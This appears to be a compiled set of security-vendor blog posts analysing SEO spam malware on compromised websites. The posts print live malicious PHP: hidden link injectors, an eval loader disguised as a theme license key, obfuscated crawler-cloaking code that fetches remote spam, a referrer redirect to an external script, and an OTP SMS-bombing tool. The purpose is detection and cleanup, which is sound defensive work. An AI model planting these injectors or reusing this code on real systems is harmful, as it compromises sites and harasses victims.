Malware-Serving Spam to Search Engine Bots

We recently discovered this malware with a list of IP ranges belonging to search engines that are serving them SEO spam. It even takes a snapshot of the website it’s on and uses that as a template so the pages look like they are a part of the website.

You can see some of the IP addresses the malware is looking for:

Here are some of the types of content being injected into the template page:

The left-side.php file contains the template taken from the main site where the malware is on:

As you can see, the malware uses special strings found in the template to know which parts to insert the spam into. The last part is a base64 encoded URL that leads to this spam(Viagra) website: hxxp://getbrowserssl[dot]xyz/tds/index.php?pl=aldactone

hxxp://thewebsite[dot]com/right-side.php?qid=2395&qcall=aldactone+mtf

This type of malware has the potential to do some lasting damage to any website, as spam pages are indexed by search engines, which can take weeks or months to drop. Page ranking and keywords might take even longer to fix, if at all.

Hex’ing the CSS Style Attribute for Black Hat...

Dealing with Black Hat SEO injections on our daily operation is always fun and challenging at the same time. One day, we may work with heavily obfuscated codes but on another, it can be just spam in plain-text waiting to be removed.

In the last few months, we’ve seen and reported on different techniques used by attackers— ranging from using DOM-based JavaScript obfuscation to just plain CSS style manipulation. All of these attacks share the same goal, which is to make their spamblocks invisible to human visitors but accessible to be indexed by search engine crawlers t.

On a recent case, we found yet another simple but very interesting Black Hat SEO injection on a compromised website. The following malware was added on the theme’s header.php of a WordPress site:

<?php
print '<div style="\64\69\73\70\6c\61\79:\6e\6f\6e\65">';
for ($i1 = 0; $i1 < 18; $i1++) {
  $link1 = mt_rand(100, 9999999);
  echo "<a href=\"http://compromisedwebsite.com/wp-news.php?t=" .$link1. "\">viagra" .$link1. "</a><br>\r\n";
  echo "<a href=\"http:// compromisedwebsite.com/wp-stories.php?t=" .$link1. "\">casino" .$link1. t;/a><br>\r\n";
  echo "<a href=\"http:// compromisedwebsite.com/wp-max.php?t=" .$link1. "\">drugs" .$link1. "</a><br>\r\n";
  $i1++;
} ; 
print '</div>';
?>

The PHP code will then generate an HTML code to the site header as below;

<div style="\64\69\73\70\6c\61\79:\6e\6f\6e\65">
<a href="http://compromisedwebsite.com/wp-news.php?t=3743996">viagra3743996</a><br>
<a href="http:// compromisedwebsite.com/wp-stories.php?t=3743996">casino3743996</a><br>
...
<a href="http:// compromisedwebsite.com/wp-stories.php?t=8106883">casino8106883</a><br>
<a href="http:// compromisedwebsite.com/wp-max.php?t=8106883">drugs8106883</a><br>
</div>

The code makes use of hex characters to obfuscate a CSS style attribute in order to hide the spam blocks. Converting those characters to ASCII text, we can see it is just a normal display:none, a style attribute used to hide elements within the div tag on the web browser.

$ echo "\64\69\73\70\6c\61\79" | xxd -r -p
display
$ echo "\6e\6f\6e\65" | xxd -r -p
none

As a site owner, it’s very important to have mechanisms to detect, prevent, and remediate issues in place before search engine crawlers can fetch the hacked version of our site. The sooner we act on the problem, the lesser the effects on our SEO and Search Engine Results Page (SERP) entries. Use our SiteCheck Scanner to regularly scan your site for unwanted spam, and let us know if want to get it cleaned.

Conditional redirection to an online pharmacy store

During an investigation, a client reported some weird behavior from all incoming visits during their Google search engine result clicks are instantly redirected to an online pharmacy store.

This occurred with visits that were initiated by clicking on any of their indexed search results at Google.com.

The malware caused all incoming visits from Google.com searches to be automatically redirected to hxxxs://pharm-bay(.) com.

After further investigation, the hacker simply hid the malicious code in an extensionless file called “log” in their tmp folder.

The malicious file was then loaded by ./wp-config.php as they had an include PHP function to load that log file.

Here is the conditional redirection rule snippet from the /tmp/logfile.

...if($content = $client->getContent()){if( (strpos($_SERVER['<strong>HTTP_USER_AGENT</strong>'], <strong>google</strong>)  !== false ) || (strpos($_SERVER['<strong>HTTP_USER_AGENT</strong>'], <strong>bot</strong>)  !== false ) ){echo $content;die;}elseif((strpos($_SERVER['<strong>HTTP_REFERER</strong>'], <strong>google</strong>)  !== false ) || (strpos($_SERVER['<strong>HTTP_REFERER</strong>'], <strong>bing</strong>)  !== false )){if($_SERVER[<strong>REQUEST_URI</strong>]!=<strong>/</strong>){?><<strong>script</strong> src=hxxp://<strong>scipton(.)com/doorways/default/script/script4.js</strong>></script><?php die;}}}...

As you can see, the malicious code is checking if the referrer is set to Google or Bing, and if so, it will serve the malicious JavaScript redirecting it to the hxxxs://pharm-bay(.)com pharmacy store.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

Spam Injector Disguised as a License Key

A client reported some weird spam URLs injected on their WordPress website and after an investigation, it turned out that the hacker was hiding the encoded spam injector malware in the following theme file:

./wp-content/themes/toolbox/functions.php

The hacker formatted the encoded injector to look like a theme’s license key trying to distract eyes from suspecting this code and finding the malware:

/**
 * Theme personal token soft descriptor.
 */
function theme_personal_token() {
    // Your personal token key #00118
    $token = <<<KEY
eyJsaWNlbnNlIjoiY3JlYXRlX2Z1bmN0aW9uIiwiYWNjb3VudCI6IiR4IiwidGhlbWUiOiJldmFs
KFwiPz5cIi5nemluZmxhdGUoYmFzZTY0X2RlY29kZSgkeCkpKTsiLCJ1cGRhdGUiOiJiWkY3YzZK
SUZNV1wvaXV0UWcxYXlHdkU5eG14RUVCXC9CRnhBbGxrVzEwa2hMODdDN0llcVE3NzQ0czdzMTJk
MFwvNzdtbjd2MmRleFwvXC9pTndveFwvbmRJdzBEeTRiNzBJYUZ3eFVGRGdZTUZuYUF3a2J0YjUz
...
ZlBsemhjNHZNNXlpNFlkdk5SU0JGRFlmQU43R2lJWXdZN0dEcnMyK1wvdGRyc1ZuVHY1cDh3UFN2
eGpHVHp4blkrUFhcL1phODVtbWJcL2lJM3hhXC9mdjFISEl4ZVpHMlRkXC9MYlRUNEFQc3h2XC94
MUU2eTlIY1wvMkhjZHBUNVN3TTUzUnRSRzd1Mnd0S3Ywd3VcL2RcL0FUaGJzczg3OHlQcXJsd0Ur
STJyRkVRNkJEVzNMUVRpYmlqT0laejlNNEg4YTk1eFQ3RHl6TUw1ZHpybVwvcVQ1RFAwbUtXZUNQ
UHdFPSJ9
KEY;
    if( $token = json_decode( base64_decode( $token ), true ) ) {
        $token['license'] = $token['license']( $token['account'], $token['theme'] );
        $token['license']( $token['update'] );
    }
}
add_action( 'wp_footer', 'theme_personal_token' );

The injected code contained a few layers of encoding to further obfuscate it from detection, but we can begin by decoding the base64-encoded text within the $token variable:

{"license":"create_function","account":"$x","theme":"eval(\"?>\".gzinflate(base64_decode($x)));","update":"bZF7c6JIFMW\/iutQg1ayGvE9xmxEEB\/BFxAllkW10khL87C7IeqQ7744s7s12d0\/77mn7v2dex\/\/iNwox\/ndIw0Dy4b70IaFwxUFDgYMFnaAwkbtb53Hry+7HVUP0lx4nagtPB4IRHPoKhp5WgUfpso0WEwmpNG8zDzQjNv6UDhLZ+iY1VmtIpPVsG43kDR8d+vjiUJG7eVUqRwNJYjkPdbvjn2g...skipped...\/LbTT4APsxv\/x1E6y9Hc\/2HcdpT5SwM53RtRG7u2wtKv0wu\/d\/AThbss878yPqrlwE+I2rFEQ6BDW3LQTibijOIZz9M4H8a95xT7DyzML5dzrm\/qT5DP0mKWeCPPwE="}

As shown by the above decoded content, we can see that the hacker is still trying to disguise the malware as a type of licensing key for a theme.

This conditional if statement also checked for the user agents, showing the spam URLs to any and all other user agents/search engines except the ones shown below. It tried to hide it from some web-based link-analyzing tools as it may be cached by such tools and the client may be notified:

if(!preg_match('#ia_archiver|Baidu|MJ12|Ezooms|Solomono|roger|Linkpad|Semrush|prodvigator|Survey|Alexi|Xenu|Ahrefs|serpstat|Yandex#i', $k)

The final decoded payload with hidden links as it would appear within the HTML source:

<a href="hps://credit-10[.]com/no/komplett-bank-logg-inn/" style="position:absolute;left:-9998px;">komplett bank min side</a><a href="hxxp://emporium[.]com.ua/answear" style="position:absolute;left:-9998px;">промокод ансвер</a><a href="hxxps://evehealth[.]ru/promokody/shops/promokody-onetwotrip" style="position:absolute;left:-9998px;">onetwotrip промокод</a><a href="hxxps://promocodius[.]com/us/shops/iherb" style="position:absolute;left:-9998px;">iherb coupon</a>

The links are hard-coded inside this malware, but on different sites they may be different. The domains of the spammy sites remain mostly the same though.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

Array string obfuscation

We continue to see an increase in the number of these PHP injections that use multiple obfuscation methods to evade detection, but lately one method has been increasingly utilized:

$GZN = "aT7k JdM_0VN5/Y1qQt
ym'oL*eIGS:c+ZhCbpREi)63rHBzDsXxOfKw;,.Wvn4=(lu9UjgF8AP2";
$hfl = $GZN[31].$GZN[0].$GZN[65].$GZN[65].$GZN[8].$GZN[66].$GZN[49].$GZN[26].$GZN[44].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31];
$fMk = $GZN[31].$GZN[44].$GZN[26].$GZN[0].$GZN[18].$GZN[26].$GZN[8].$GZN[53].$GZN[66].$GZN[61].$GZN[31].$GZN[18].$GZN[40].$GZN[23].$GZN[61]...

This obfuscation method uses a variable ($GZN) to store a long string of characters that look as if they could be encoded or encrypted as they are unintelligible usually. A second variable, ($hfl), is then created and assigned PHP code that is generated by using the first $GZN long string and specific numbers that correspond to the string array's indices or characters in this case. We end up with the function call_user_func after deobfuscating the $hfl variable, which you can see yourself by looking up the corresponding string value for the $GZN[ numbers (i.e 31 matches to character c - just remember the array starts at 0 so in the string the character c is actually the 32nd position). This process is repeated for the other variables as there are little to no PHP functions in plain text.

After repeating the process to deobfuscate all the other variables, we end up with the following - which looks to be where the actual action happens:

@$hfl($fMk($JLU,$GAa($Fd3($GZN[22].$GZN[33].$GZN[14].$GZN[13].$GZN[46].$GZN[29].$GZN[72].$GZN[7].$GZN[55].$GZN[28].$GZN[7].$GZN[50].$GZN[13].$GZN[65].$GZN[6].$GZN[73].$GZN[11].$GZN[3].$GZN[9].$GZN[46]

We can use the same method as before to deobfuscate the above PHP code to something more readable:

call_user_func(create_function(gzinflate(base64_decode('\''.'ZY/BS8MwGMX/ldANk0BpLx7E0dkdil4cMqsXGeFbmyahaVKar+Iw/u9uzIPi6fHj8R7vmY6wcpykEgNgoxldKO+VlXEILh6MUxEswrsJCBFCH4+gvY/g7cLQlJRL8VztXqvdG32o6yfxciKxua+2Nd1z/rnU7TUpSMBJwiAa71B+oGhOhJLBNMGRUY040mL9Q2gG6WekpFiTG875ishGe1J2xkqhJF5KHAaWnIO3ed6qHoINrc7CnFvX590hG/V41xZJ9mveRcV281jRfZZczX/tf+tT0oENMiXnD3z19Q0='.'\''))),'1','1');

The final step is to just deobfuscate the actual malicious payload of the file, which in this case is just gz compressed and encoded with base64, so either using a tool or just PHP code will allow you to deobfuscate it quickly:

if (@preg_match('#google|msn|bing|altavista|ask|yahoo|aol#i', @$_SERVER['HTTP_USER_AGENT'])){
    $hd4 = stream_context_create(array('http'=>array('timeout' => 8))); echo @file_get_contents("http://[redacted]/lnk/fb.php?d=".@$_SERVER['SERVER_NAME']."&u=".@$_SERVER['HTTP_USER_AGENT'], false, $hd4);
    }

It turns out to be another SEO spam injection targeting search engine crawler user-agents and serving them specific URLs that they wish to increase in their rankings or keywords, however in this case it happened to be hidden under layers of obfuscation to help avoid any detection.

How Some OTP Systems Can Be Used to...

I recently came across an interesting index.php file and its corresponding directory on a compromised website. I loaded it in a testing environment and immediately it was apparent that this malicious PHP file was different than your average spam tool:


GUI for this spamming tool. *Note - the "No Telp" telephone number field and the "Jumlah SMS" number of SMS field.

This particular malicious file\'s GUI stood out because it would send SMS(text) messages to a user-specified cellular telephone number. This isn\'t a standard operating procedure for most of the spam campaigns that I have encountered over the years, as they try to target as many email addresses, or phone numbers, as possible to increase the attack surface and the probability of a successful delivery.

AA further analysis of the code within the malicious spam tool file revealed further information:

public function Verif()
    {
        $url = "https://www.tokocash.com/oauth/otp";
        $no = $this->no;
        $type = $this->type;
        if ($type == 1) {
            $data = "msisdn={$no}&accept=";
        }elseif ($type == 2) {
            $data = "msisdn={$no}&accept=call";
        }
        $send = $this->sendC($url, null, $data);
        // echo $send;
        if (preg_match('/otp_attempt_left/', $send)) {
                print('OTP berhasil Dikirim!<br>');
            } else {
                print('OTP Gagal Dikirim!<br>');
            }
    }

sendC is a function defined earlier that just constructs a cURL request with special headers

After checking this PHP file's code, it's clear that the SMS spam message isn't actually being sent from the web server hosting the compromised website. Instead, the PHP file's coding would be executed from the web page previously shown. Then it would submit a specially crafted cURL request (saved as function sendC) to an Indonesian website that had an authentication system utilizing a OTP feature. The request sent to this website's OTP system would include parameters in the URL that include the victim's phone number and whether to perform the OTP two-factor authentication via phone call or SMS text message.

Apparently, it turns out that this PHP script is nothing more than a "prank" spam tool that will just continuously send SMS or phone calls to the victim's phone number until the OTP system starts rejecting the requests. It's an interesting method of "prank" spam in regards to how the SMS message is sent out. It doesn't use the malicious user's server nor the compromised website's hosting server but rather abuses a legitimate TokoCash/Tokopedia's authentication service to bombard the phone number. Notice in the screenshot spamming tool, the word bom, which means "bomb" in Indonesian.

I reached out to this Indonesian website to inform them of the prank spam issue with their OTP system so that they can hopefully implement some access control security to harden the OTP from this type of abuse.

Books SEO Spam

We already discussed in our blog some cases where the attacker uploaded a full ready-to-use website in order to promote their products and services. This is a well-known SEO spam tactic, but this time we're going to cover what we found in a recent incident response process. A full library was injected into the victim's file structure, of course without the consent of the website owner.


First of all, it's worth mentioning that the affected website was running a very old and vulnerable WordPress version, allowing the attacker to easily exploit it and do his dirty work. This is a reminder to always keep your software updated to prevent infections (or reinfections) from happening to your website.

The attacker uploaded a directory, whose name was "libarry" (misspelled), into the website root. That folder contained all the files for the online library, which would look like this:

Another interesting thing to note is that they even used the victim's website name as the online library name to make it more legit (the website name was suppressed in the screenshot and in the code block below). This is possible because of the configuration settings located at ./libarry/setting.php:

<?PHP $sub_folder = "libarry"; $site_name = "<Website Original Name> Online Books Library 2015"; $site_title = "<Website Original Name> Read n Download Unlimited Books Online"; $site_desc = "<Website Original Name> Read or Download Unlimited Free Books online on PDF, eBooks or ePub"; $sub_category = "category"; $cat_slug = "hXXp://".$_SERVER["SERVER_NAME"]."/".$sub_folder."/".$sub_category."/";$domain = $_SERVER["SERVER_NAME"]."/".$sub_folder;$site = "hXXp://".$_SERVER["SERVER_NAME"]."/".$sub_folder; $domain1 = str_replace("www.", "", $domain); $domain2 = str_replace("http://", "", $domain1); $domainx = str_replace("https://", "", $domain2); $domain_title = date("m-Y"); $target_dir = "./cache/"; $exten_sitemap = ".tar.gz"; $button_home = 0;$button_dis1 = 0; $button_dis2 = 0; $button_dis3 = 0;$button_dis4 = 0; $button_dis5 = 0;$button_single = 0;$google_master_tools = "<meta name='google-site-verification' content='sRUXfZlQbLp7pHG9TN7IBMlw9NBbfAeLlsmM4sFn5ec' /> "; $counter1 = str_replace(" ","","10660384"); $counter2 = str_replace(" ","","0a38ffb6"); ?>

When clicking on a product, it would direct you from hXXp://site[.]com/libarry to hXXp://site[.]com/asset due to the .htaccess rules in the libarry directory:

Options +FollowSymLinksOptions +Indexes<IfModule mod_rewrite.c> RewriteEngine on RewriteBase /libarry/ RewriteRule ^category/(.)$ hXXp://site[.]com/asset/category/$1 RewriteRule ^(.)/(.)/(.)/(.).jpg$ hXXp://ecx[.]images-amazon[.]com/images/I/$1.jpg RewriteRule ^(.)/(.)/(.).download ./images/button/download.png RewriteRule ^(.)/(.)/(.).more ./images/button/more.png RewriteRule ^download/(.)$ ./button.php?id=#budal#$1 RewriteRule ^read-online/(.)$ ./button.php?id=#budal#$1 RewriteRule ^find/(.)$ ./search.php RewriteRule ^dmca-notice/?$ ./dmca.php?=$1 RewriteRule ^privacy-policy/?$ ./privacy.php?=$1 RewriteRule ^contact-us/?$ ./contact.php?=$1RewriteRule ^faqs/?$ ./faq.php?=$1 RewriteRule ^disclaimers/?$ ./disclaimer.php?=$1 RewriteRule ^(.)/(.)/(.)/(.).html$ hXXp://site[.]com/asset/ RewriteRule ^([^/.]+)/?.xml$ ./sitemaps.php?id=$1 [L] </IfModule> ErrorDocument 404 hXXp://site[.]com/libarry 

In hXXp://site[.]com/asset it gets content from http://www.goodreads.com/genres and http://books.4shopings.com, displaying the books and categories from those websites.

This sort of attack can heavily affect your SEO, so make sure that both libarry and asset folders (in this case specifically) have been removed along with any backdoors on the website. If you need some professional assistance to remediate it, let us know.